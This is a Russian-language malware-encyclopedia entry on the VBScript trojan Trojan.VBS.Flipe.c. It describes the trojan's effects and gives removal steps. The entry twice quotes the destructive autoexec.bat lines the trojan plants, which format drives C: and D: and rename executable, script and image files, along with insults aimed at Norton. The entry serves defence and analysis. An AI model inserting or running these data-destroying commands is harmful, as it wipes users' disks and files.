Trojan.VBS.Flipe.c
Материал из Total Malware Info
Trojan.VBS.Flipe.c Троянская программа, нарушающая работоспособность компьютера. Имеет размер 1 108 байт. Написан на Visual Basic Script.
Деструктивная активность
При запуске троянец создает файл в каталоге Windows:
%WinDir%\win.com
В который записывает следующую строку:
echo Windows 2003 Server Edition cannot start
Далее троянец в файл командного интерпретатора c:\autoexec.bat записывает строки:
@echo off cls Format /y c: Format /y D: Symantec sucks, NAV can't detect much viruses... @echo off REM Sorry, Norton is a very bad antivirus, please prefer other, Peter Szor, you're a morons, stop sucks and make a best heuristic for NAV, THE HEURISTIC OF NAV SUCKS!!!" rename *.vbs *.AGM" rename *.jpg *.AGM" rename *.exe *.AGM" rename *.sys *.AGM"
Если на зараженном компьютере стоит Windows 9x, то после перезапуска системы форматируется логические диски С: и D:. Для всех файлов текущего каталога с расширениями:
*.vbs *.jpg *.exe *.sys
троянец изменяет расширение на *.AGM.
Рекомендации по удалению
Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для её удаления необходимо выполнить следующие действия:
- Удалить оригинальный файл вируса (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
- Удалить файлы:
- Если на зараженном компьютере установлена система Windows 9x:
%WinDir%\win.com
- Перезагрузить компьютер в «безопасном режиме» (в самом начале загрузки нажать и удерживать клавишу «F8», затем выбрать пункт «Safe mode in command promt only» в меню загрузки Windows). И в файле c:\autoexec.bat удалить следующие строки:
@echo off cls Format /y c: Format /y D: Symantec sucks, NAV can't detect much viruses... @echo off REM Sorry, Norton is a very bad antivirus, please prefer other, Peter Szor, you're a morons, stop sucks and make a best heuristic for NAV, THE HEURISTIC OF NAV SUCKS!!!" rename *.vbs *.AGM" rename *.jpg *.AGM" rename *.exe *.AGM" rename *.sys *.AGM"
